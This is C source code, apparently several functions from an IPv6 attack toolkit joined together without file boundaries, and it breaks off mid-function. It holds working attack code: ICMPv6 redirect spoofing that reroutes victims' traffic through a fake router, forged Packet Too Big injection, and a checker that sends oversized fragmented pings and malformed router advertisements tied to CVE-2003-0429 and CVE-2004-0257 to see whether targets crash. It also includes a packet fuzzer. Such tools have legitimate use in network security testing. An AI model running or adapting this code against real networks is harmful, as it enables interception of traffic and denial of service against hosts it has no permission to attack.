void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ptr = (unsigned char *) data; int len = header->caplen, i, j; if (rawmode == 0) { if (do_hdr_size) { ptr += do_hdr_size; len -= do_hdr_size; if ((ptr[0] & 240) != 0x60) return; } else { ptr += 14; len -= 14; } } if (debug) thc_dump_data(ptr, len, "Received Packet"); if (ptr[6] == 0x3a && ptr[40] == ICMP6_INVNEIGHBORADV && len >= 56) { done = 1; j = (len - 56) / 16; if (j == 0) { printf("Empty Inverse Neighbor Discovery message received by %s for %s\n", thc_ipv62notation((char *) ptr + 8), mac); } else { printf("Inverse Advertisement Discovery message received by %s for %s (%d entries):\n", thc_ipv62notation((char *) ptr + 8), mac, j); for (i = 0; i < j; i++) printf(" %s\n", thc_ipv62notation((char *) ptr + 56 + i * 16)); } } }
void intercept(u_char * foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *) (data + 14); if (debug) { printf("DEBUG: packet received\n"); thc_dump_data((unsigned char *) data, header->caplen, "Received Packet"); } if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || header->caplen < 78) return; if (*(data + 22) + *(data + 23) + *(data + 24) + *(data + 25) + *(data + 34) + *(data + 35) + *(data + 36) + *(data + 37) != 0) return; if (debug) printf("DEBUG: packet is a valid duplicate ip6 check via icmp6 neighbor solitication\n"); ptr4 = thc_ipv62notation((char *) (data + 62)); printf("Detected new ip6 address: %s\n", ptr4); if (script != NULL && fork() == 0) { sprintf(es, "%s %s", script, ptr4); if (system(es) < 0) fprintf(stderr, "Error: Executing failed - %s\n", es); exit(0); } free(ptr4); (void) wait3(NULL, WNOHANG, NULL); return; }
void send_toobig(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr, *target; int len = header->caplen; if (do_hdr_size) { ipv6hdr = (unsigned char *) (data + do_hdr_size); len = header->caplen - do_hdr_size; if ((ipv6hdr[0] & 240) != 0x60) return; offset = do_hdr_size; } else { ipv6hdr = (unsigned char *) (data + offset); len = header->caplen - offset; } if (ip6 != NULL && memcmp(ip6, ipv6hdr + 8, 16) != 0) // is it the target? return; if (ipv6hdr[6] == NXT_ICMP6 && ipv6hdr[40] < 128) // no ICMP Errors return; thc_toobig6(interface, src6, mac6, NULL, mtu, ipv6hdr, len); target = thc_ipv62notation(ipv6hdr + 8); printf("Sent TooBig packet to %s\n", target); free(target); if (loop == 0) // do we loop? go = 0; }
void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { char *ptr, *ptr2; // packet is to the real router, and is not from us? if (memcmp(realownmac, data + 6, 6) == 0 || memcmp(fakemac, data, 6) != 0) return; // check that source and dest are routed // same network? if (memcmp(data + 14 + 8, data + 14 + 8 + 16, 8) == 0) return; // dst fe.. or ff.. or 00? if (data[14 + 8 + 16] >= 0xfe || data[14 + 8 + 16] == 0) return; // src fe.. or ff.. or 00? if (data[14 + 8 + 16] >= 0xfe || data[14 + 8 + 16] == 0) return; if (src6 != NULL) { // victim wildcard? if not, check src if (memcmp(src6, data + 14 + 8, 16) != 0) return; } else { // victim wildcard - we have to ensure that the source is local -> hop count! if (data[14 + 7] != 64 && data[14 + 7] != 128 && data[14 + 7] != 255) return; } if (dest6 != NULL) // destination wildcard? if not, check dst if (memcmp(dest6, data + 14 + 8 + 16, 16) != 0) return; thc_redir6(interface, oldrouter6, fakemac, (unsigned char*)data + 6, newrouter6, mac6, (unsigned char*)data + 14, header->caplen - 14); ptr = thc_ipv62notation((unsigned char*)data + 14 + 8); ptr2 = thc_ipv62notation((unsigned char*)data + 14 + 8 + 16); printf("Sent ICMPv6 redirect for %s -> %s\n", ptr, ptr2); free(ptr); free(ptr2); }
void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *) (data + 14); int len = header->caplen - 14; if (do_hdr_size) { ipv6hdr = (unsigned char *) (data + do_hdr_size); len = header->caplen - do_hdr_size; if ((ipv6hdr[0] & 240) != 0x60) return; } if (debug) { printf("DEBUG: packet received\n"); thc_dump_data((unsigned char *) data, header->caplen, "Received Packet"); } if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || len < 64) return; if (*(ipv6hdr + 8) + *(ipv6hdr + 9) + *(ipv6hdr + 10) + *(ipv6hdr + 11) + *(ipv6hdr + 12) + *(ipv6hdr + 13) + *(ipv6hdr + 14) + *(ipv6hdr + 15) != 0) return; if (debug) printf("DEBUG: packet is a valid duplicate ip6 check via icmp6 neighbor solitication\n"); (void) wait3(NULL, WNOHANG, NULL); ptr4 = thc_ipv62notation((char *) (ipv6hdr + 48)); printf("Detected new ip6 address: %s\n", ptr4); if (script != NULL && fork() == 0) { snprintf(es, sizeof(es), "%s %s %s", script, ptr4, interface); if (system(es) < 0) fprintf(stderr, "Error: Executing failed - %s\n", es); exit(0); } free(ptr4); return; }
int main(int argc, char *argv[]) { int test = 0, count = 1, tmplen; unsigned char buf[1500], bla[1500], tests[256], string[64] = "ip6 and dst ", string2[64] = "ip6 and src "; unsigned char *dst6, *ldst6 = malloc(16), *src6, *lsrc6, *mcast6, *route6, *mal; unsigned char *srcmac = NULL, *dstmac = NULL, *routers[2], null_buffer[6]; thc_ipv6_hdr *hdr; int i = 0, j, srcmtu, fragsize, offset = 14; pcap_t *p; unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL; int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0, noping = 0, mtu = 1500; char *interface; thc_ipv6_hdr *ipv6; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (strcmp(argv[1], "-p") == 0) { noping = 1; argv++; argc--; } if (do_hdr_size) offset = do_hdr_size; interface = argv[1]; dst6 = thc_resolve6(argv[2]); route6 = thc_resolve6("2a01::"); memcpy(ldst6, dst6, 16); memset(ldst6 + 2, 0, 6); ldst6[0] = 0xfe; ldst6[1] = 0x80; mcast6 = thc_resolve6("ff02::1"); if (argc >= 4) test = atoi(argv[3]); memset(buf, 0, sizeof(buf)); memset(null_buffer, 0, sizeof(null_buffer)); src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); if ((lsrc6 = thc_get_own_ipv6(interface, ldst6, PREFER_LINK)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } strcat(string, thc_ipv62notation(src6)); strcat(string2, thc_ipv62notation(dst6)); srcmac = thc_get_own_mac(interface); if (rawmode == 0) { if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } } else dstmac = null_buffer; if ((srcmtu = thc_get_mtu(interface)) <= 0) { fprintf(stderr, "ERROR: can not get mtu from interface %s\n", interface); exit(-1); } if (do_hdr_size) srcmtu -= (do_hdr_size - 14); fragsize = ((srcmtu - 62) / 8) * 8; if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } setvbuf(stdout, NULL, _IONBF, 0); memset(tests, 0, sizeof(tests)); printf("Performing vulnerability checks on %s via %s:\n", argv[2], argv[1]); if (noping == 0 && check_alive(p, interface, src6, dst6) == 0) { fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[2]); exit(-1); } else printf("Test 0: normal ping6\t\t\t\tPASSED - we got a reply\n"); /********************** TEST CASES ************************/ if (test == 0 || test == count) { // 1432 printf("Test %2d: CVE-NONE overlarge ping, 6 checksum combinations\n", count); tmplen = 65864; if ((mal = malloc(tmplen)) == NULL) return -1; memset(mal, count % 256, tmplen); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *) pkt; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; // because of the different possible checksum calculations we have to do them all hdr->pkt[offset + 40 + 3] = 0xe5; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 2] = 0x98; hdr->pkt[offset + 40 + 3] = 0xa4; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 3] = 0xa3; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 2] = 0x84; hdr->pkt[offset + 40 + 3] = 0x90; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 3] = 0x8f; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; free(mal); pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { // 1432 printf("Test %2d: CVE-NONE large ping, 3 checksum combinations\n", count); tmplen = 65527; if ((mal = malloc(tmplen)) == NULL) return -1; memset(mal, count % 256, tmplen); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *) pkt; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; // because of the different possible checksum calculations we have to do them all hdr->pkt[offset + 40 + 2] = 0x31; hdr->pkt[offset + 40 + 3] = 0x8c; thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize); hdr->pkt[offset + 40 + 3] = 0x8a; thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize); free(mal); pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { printf("Test %2d: CVE-2003-0429 bad prefix length (little information, implementation unsure\n", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[6] = 4; // 4-7: retrans timer // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[13] = (mtu % 16777216) / 65536; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; // option prefix buf[16] = 3; buf[17] = 4; buf[18] = 128; // prefix length // BUG IS HERE buf[19] = 128 + 64; memset(&buf[20], 17, 4); memset(&buf[24], 4, 4); memcpy(&buf[32], route6, 16); i += 28; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, srcmac, 6); i += 6; // default route routing option buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 0x00; // prefix length buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word i += 16; // 56-71 address, all zeros for default thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { printf("Test %2d: CVE-2004-0257 ping, send toobig on reply, then SYN pkt\n", count); memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 64, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *) &bla, 68, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; ipv6 = (thc_ipv6_hdr *) pkt; thc_inverse_packet(ipv6->pkt + offset, ipv6->pkt_len - offset); sleep(1); thc_toobig6(interface, src6, srcmac, dstmac, 68, ipv6->pkt + offset, ipv6->pkt_len - offset); i = 0; while (ports[i] != 0) { if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_tcp(pkt, &pkt_len, 1100 + i * 100, ports[i], i * 1000, 0, TCP_SYN, 5760, 0, NULL, 0, NULL, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); pkt_len = 0; i++; } } count++; /* if (test == 0 || test == count) { printf("Test %2d: CVE-20\n", count); memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 0; thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { printf("Test %2d: CVE-20\n", count); memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 0; thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; */ /* if (test == 0 || test == count) { printf("Test %2d: CVE-20\n", count); memset(bla, count%256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 0; thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; */ // more? /******************* END OF TESTCASES ***************************/ if (noping == 1 || check_alive(p, interface, src6, dst6)) printf("Test %2d: normal ping6 (still alive?)\t\tPASSED - we got a reply\n", count); else printf("Test %2d: normal ping6 (still alive?)\t\tFAILED - target is unavailable now!\n", count); thc_pcap_close(p); return 0; }
int main(int argc, char *argv[]) { unsigned char *pkt = NULL, *pkt_bak, *mcast6, *someaddr6 = NULL; unsigned char *dst6, *src6 = NULL, *mac = NULL, *routers[2], string[64] = "ip6 and dst "; int test_start = 0, fragment = 0, alert = 0, sroute = 0; int do_type = DO_PING, do_alive = 1, hopbyhop = 0, destination = 0, jumbo = 0; int pkt_len = 0, offset = 0, test_current = 0, i, j, k, do_fuzz = 1, test_ptr = 0; int test_end = TEST_MAX, ping = NEVER, frag_offset = 0, header = 0, no_send = 1; int test_pos = 0, test_cnt = 0, do_it, extend = 0, mtu = 1500, size = 64, wait = 0, off2 = 14; char *interface, fuzzbuf[256], *srcmac, *dns, *route6, *real_dst6 = NULL; unsigned char buf[256], buf2[100], buf3[16]; unsigned short int *sip; pcap_t *p; thc_ipv6_hdr *hdr; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "s:0123456789Xxt:T:p:FSDHRIJan:")) >= 0) { switch (i) { case 's': do_type = DO_TCP; port = atoi(optarg); break; case '0': do_type = DO_NODEQUERY; break; case '1': do_type = DO_PING; break; case '2': do_type = DO_NEIGHSOL; break; case '3': do_type = DO_NEIGHADV; break; case '4': do_type = DO_RA; break; case '5': do_type = DO_MLD_REP; break; case '6': do_type = DO_MLD_DONE; break; case '7': do_type = DO_MLD_QUERY; wait = 0xff0000; break; case '8': do_type = DO_MLD2_REPORT; break; case '9': do_type = DO_MLD2_QUERY; wait = 0xff0000; break; case 'X': do_type = DO_NONE; break; case 't': test_start = atoi(optarg); break; case 'T': test_end = test_start = atoi(optarg); break; case 'p': ping = atoi(optarg); break; case 'a': do_alive = 0; break; case 'S': sroute = 1; break; case 'n': no_send = atoi(optarg); break; case 'F': fragment = 1; break; case 'R': alert = 1; break; case 'D': destination = 1; break; case 'H': hopbyhop = 1; break; case 'J': jumbo = 1; break; case 'I': header = 1; break; case 'x': extend = 1; break; } } if (argc - optind < 2) { fprintf(stderr, "ERROR: not enough options, interface and target address are required!\n"); exit(-1); } interface = argv[optind]; if ((srcmac = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "ERROR: %s is not a valid interface which has a MAC, use raw mode?\n", interface); exit(-1); } if (no_send < 1) { fprintf(stderr, "ERROR: -n number must be between one and 2 billion\n"); exit(-1); } if (do_hdr_size) { test_pos -= do_hdr_size; offset -= do_hdr_size; off2 = do_hdr_size; } if (do_type != DO_PING && do_type != DO_TCP && do_type != DO_NONE) { if ((mcast6 = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]); exit(-1); } if (do_type == DO_NEIGHSOL) { dst6 = thc_resolve6("ff02::0001:ff00:0000"); memcpy(dst6 + 13, mcast6 + 13, 3); } else dst6 = thc_resolve6("ff02::1"); } else { dst6 = thc_resolve6(argv[optind + 1]); } if (argv[optind + 1] != NULL) if ((real_dst6 = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]); exit(-1); } if (interface == NULL || argv[optind + 1] == NULL) { printf("Error: interface and target-ipv6-address are mandatory command line options\n"); exit(-1); } if (ping < 1 || test_end < test_start) { printf("don't f**k up the command line options!\n"); exit(-1); } if (argv[optind + 2] != NULL) someaddr6 = thc_resolve6(argv[optind + 2]); if (argc - optind > 3) { printf("Error: too many command line options\n"); exit(-1); } if ((mac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } if (do_type == DO_PING || do_type == DO_TCP || do_type == DO_NONE) src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); else src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK); if (src6 == NULL) { fprintf(stderr, "Error: no IPv6 address configured on interface %s\n", interface); exit(-1); } strcat(string, thc_ipv62notation(src6)); if (sroute) { if (someaddr6 != NULL) routers[0] = someaddr6; else routers[0] = dst6; routers[1] = NULL; } setvbuf(stdout, NULL, _IONBF, 0); memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2)); dns = thc_resolve6("ff02::fb"); route6 = thc_resolve6("2a01::"); if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if (real_dst6 != NULL && real_dst6[0] == 0xff) do_alive = 0; // ping before to check if it works if (do_alive) if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { // fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[optind + 1]); // exit(-1); } // generate basic packet strcpy(fuzzbuf, fuzztype_ether); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (header) strcat(fuzzbuf, fuzztype_ip6); else strcat(fuzzbuf, fuzztype_ip6no); if (alert || hopbyhop || jumbo) { memset(buf2, 0, sizeof(buf2)); i = 0; if (alert) { buf2[i++] = 5; buf2[i++] = 2; i += 2; strcat(fuzzbuf, ".F.F"); } if (jumbo) { buf2[i++] = 0xc2; buf2[i++] = 4; buf2[i++] = 'J'; // lookup code buf2[i++] = 'J'; buf2[i++] = 'J'; buf2[i++] = 'J'; strcat(fuzzbuf, ".FBBBB"); } if (hopbyhop) { memset(buf3, 0, sizeof(buf3)); buf3[0] = 'X'; buf3[1] = '.'; for (j = 0; j < 10; j++) { buf2[i++] = 1; // PadN, length buf2[i++] = j; if (j > 0) { memset(buf2 + i, 0xaa, j); buf3[2 + j] = '.'; i += j; } strcat(fuzzbuf, buf3); // always: X... for every new option } } if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, i) < 0) return -1; i += 2; if (i % 8 > 0) i = ((i / 8) + 1) * 8; offset += i; } if (sroute) { if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; else { strcat(fuzzbuf, "FFFFBBBB................"); offset += 24; } } if (fragment) { frag_offset = offset; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, 0) < 0) return -1; else { strcat(fuzzbuf, "FFWW.."); offset += 8; } } if (destination) { memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); buf3[0] = 'X'; buf3[1] = '.'; i = 0; for (j = 0; j < 10; j++) { buf2[i++] = 1; // PadN, length buf2[i++] = j; if (j > 0) { memset(buf2 + i, 0xaa, j); buf3[2 + j] = '.'; i += j; } strcat(fuzzbuf, buf3); // always: X... for every new option } if (thc_add_hdr_dst(pkt, &pkt_len, buf2, i) < 0) return -1; i += 2; if (i % 8 > 0) i = ((i / 8) + 1) * 8; offset += i; } memset(buf, 0, sizeof(buf)); // if (header) strcat(fuzzbuf, fuzztype_icmp6); // else // strcat(fuzzbuf, fuzztype_icmp6no); switch (do_type) { case DO_TCP: // tcp options buf[0] = 2; // max segment size buf[1] = 4; buf[2] = 255; buf[3] = 255; buf[4] = 3; // windows size buf[5] = 3; buf[6] = 62; buf[7] = 1; // padding buf[8] = 8; // timestamp buf[9] = 10; buf[10] = time(NULL) / 16777216; buf[11] = ((time(NULL) / 65536) % 256); buf[12] = ((time(NULL) / 256) % 256); buf[13] = time(NULL) % 256; // 4 bytes ack tstamp 00000000 // rest is padding (2 bytes) if (thc_add_tcp(pkt, &pkt_len, 65532, port, test_current, 0, TCP_SYN, 5760, 0, (unsigned char *) buf, 20, (unsigned char *) buf, 20) < 0) return -1; strcat(fuzzbuf, fuzztype_tcp); break; case DO_PING: if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, test_current, (unsigned char *) &buf, 16, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ping); break; case DO_NONE: // empty break; case DO_NEIGHSOL: if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); else memcpy(buf, mcast6, 16); buf[16] = 1; buf[17] = 1; memcpy(buf + 18, srcmac, 6); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, (unsigned char *) &buf, 24, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ns); break; case DO_NEIGHADV: if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); else memcpy(buf, src6, 16); buf[16] = 2; buf[17] = 1; memcpy(buf + 18, srcmac, 6); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, 0xe0000000, (unsigned char *) &buf, 24, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6na); break; case DO_NODEQUERY: memcpy(buf + 8, real_dst6, 16); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NODEQUERY, 0, 0x0003003e, (unsigned char *) &buf, 24, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6nq); break; case DO_RA: // buf[3] = 250; // 0-3: reachable timer buf[6] = 4; // 4-7: retrans timer // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; // option prefix buf[16] = 3; buf[17] = 4; buf[18] = size; // prefix length buf[19] = 128 + 64; memset(&buf[20], 17, 4); memset(&buf[24], 4, 4); if (someaddr6 != NULL) memcpy(&buf[32], someaddr6, 16); else memcpy(&buf[32], route6, 16); i = 48; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, srcmac, 6); i += 6; // = 8 == 56 // default route routing option buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 64; // prefix length /64 buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word buf[i++] = 0x20; buf[i++] = 4; // 56-71 address, 2004:: for default i += 14; // = 24 == 70 // dns option buf[i++] = 0x19; // dns option type buf[i++] = 0x03; // length i += 2; // 74-75 reserved memset(buf + i, 1, 4); // validity time i += 4; if (someaddr6 != NULL) memcpy(buf + i, someaddr6, 16); // dns server else memcpy(buf + i, dns, 16); // dns server i += 16; // = 24 == 94 // seachlist option buf[i++] = 31; buf[i++] = 4; i += 2; memset(buf + i, 1, 4); // validity time i += 4; buf[i++] = 3; memcpy(buf + i, "foo", 3); i += 3; buf[i++] = 4; memcpy(buf + i, "corp", 4); i += 5; // + null byte buf[i++] = 5; memcpy(buf + i, "local", 5); i += 5; buf[i++] = 6; memcpy(buf + i, "domain", 6); i += 7; // + null byte // = 32 == 126 // flag extension option buf[i++] = 26; buf[i++] = 1; buf[i++] = 0x08; i += 5; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ra); break; case DO_MLD_QUERY: case DO_MLD_DONE: case DO_MLD_REP: buf[0] = 0xff; buf[1] = 0x02; buf[15] = 0x05; if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, wait, buf, 16, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld); break; case DO_MLD2_QUERY: buf[0] = 0xff; buf[1] = 0x02; buf[15] = 0x05; if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); buf[16] = 7; buf[17] = 120; buf[19] = 3; memcpy(buf + 20, dst6, 16); memcpy(buf + 36, buf, 16); if (thc_add_icmp6(pkt, &pkt_len, DO_MLD_QUERY, 0, wait, buf, 68, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld2que); break; case DO_MLD2_REPORT: for (i = 0; i < 3; i++) { buf[0 + 68 * i] = 1 + i * 2 - i / 2; //include new++, generates 1, 3 and 4 buf[3 + 68 * i] = 3; //3 sources buf[4 + 68 * i] = 0xff; buf[5 + 68 * i] = 0x02; buf[18 + 68 * i] = 0x82 + i % 256; buf[19 + 68 * i] = 0xff; memcpy(buf + 20 + 68 * i, src6, 16); buf[36 + 68 * i] = 0xfe; buf[37 + 68 * i] = 0x80; buf[46 + 68 * i] = 0xf0; if (someaddr6 != NULL) memcpy(buf + 52 + 68 * i, someaddr6, 16); } if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, 3, buf, 208, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld2rep); break; default: fprintf(stderr, "ERROR: Mode not implemented yet!\n"); exit(-1); } if (thc_generate_pkt(interface, srcmac, mac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *) pkt; if (jumbo) { i = 0; j = 1; while (i < hdr->pkt_len + 4 && j) { if (hdr->pkt[i] == 'J') if (memcmp(&hdr->pkt[i], "JJJJ", 4) == 0) j = 0; i++; } if (j) { fprintf(stderr, "ERROR: fuckup, cant find my own marker?!\n"); exit(-1); } else i--; hdr->pkt[i] = 0; hdr->pkt[i + 1] = 0; hdr->pkt[i + 2] = hdr->pkt[4 + off2]; hdr->pkt[i + 3] = hdr->pkt[5 + off2]; hdr->pkt[4 + off2] = 0; hdr->pkt[5 + off2] = 0; } if (extend) for (i = 0; i < strlen(fuzzbuf); i++) if (fuzzbuf[i] == 'B' || fuzzbuf[i] == 'F') fuzzbuf[i] = 'X'; // backup of generated packet pkt_bak = malloc(hdr->pkt_len); memcpy(pkt_bak, hdr->pkt, hdr->pkt_len); printf("Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d, every packet sent denoted by a dot:\n", test_start, test_end); //printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf); while (do_fuzz) { if (test_cnt == 0) while (fuzzbuf[test_ptr] == '.') { test_ptr++; test_pos++; } if (fuzzbuf[test_ptr] == 0) do_fuzz = 0; test_cnt++; do_it = 1; //printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| ", /*fuzzbuf*/"", test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, test_end); switch (fuzzbuf[test_ptr]) { case 0: break; case 'X': if (test_cnt <= COUNT_EXTEND) { if (pkt_bak[test_pos] != extends[test_cnt - 1]) hdr->pkt[test_pos] = extends[test_cnt - 1]; else do_it = 0; } else { test_cnt = 0; test_ptr++; test_pos++; } break; case 'B': if (test_cnt <= COUNT_BYTE) { if 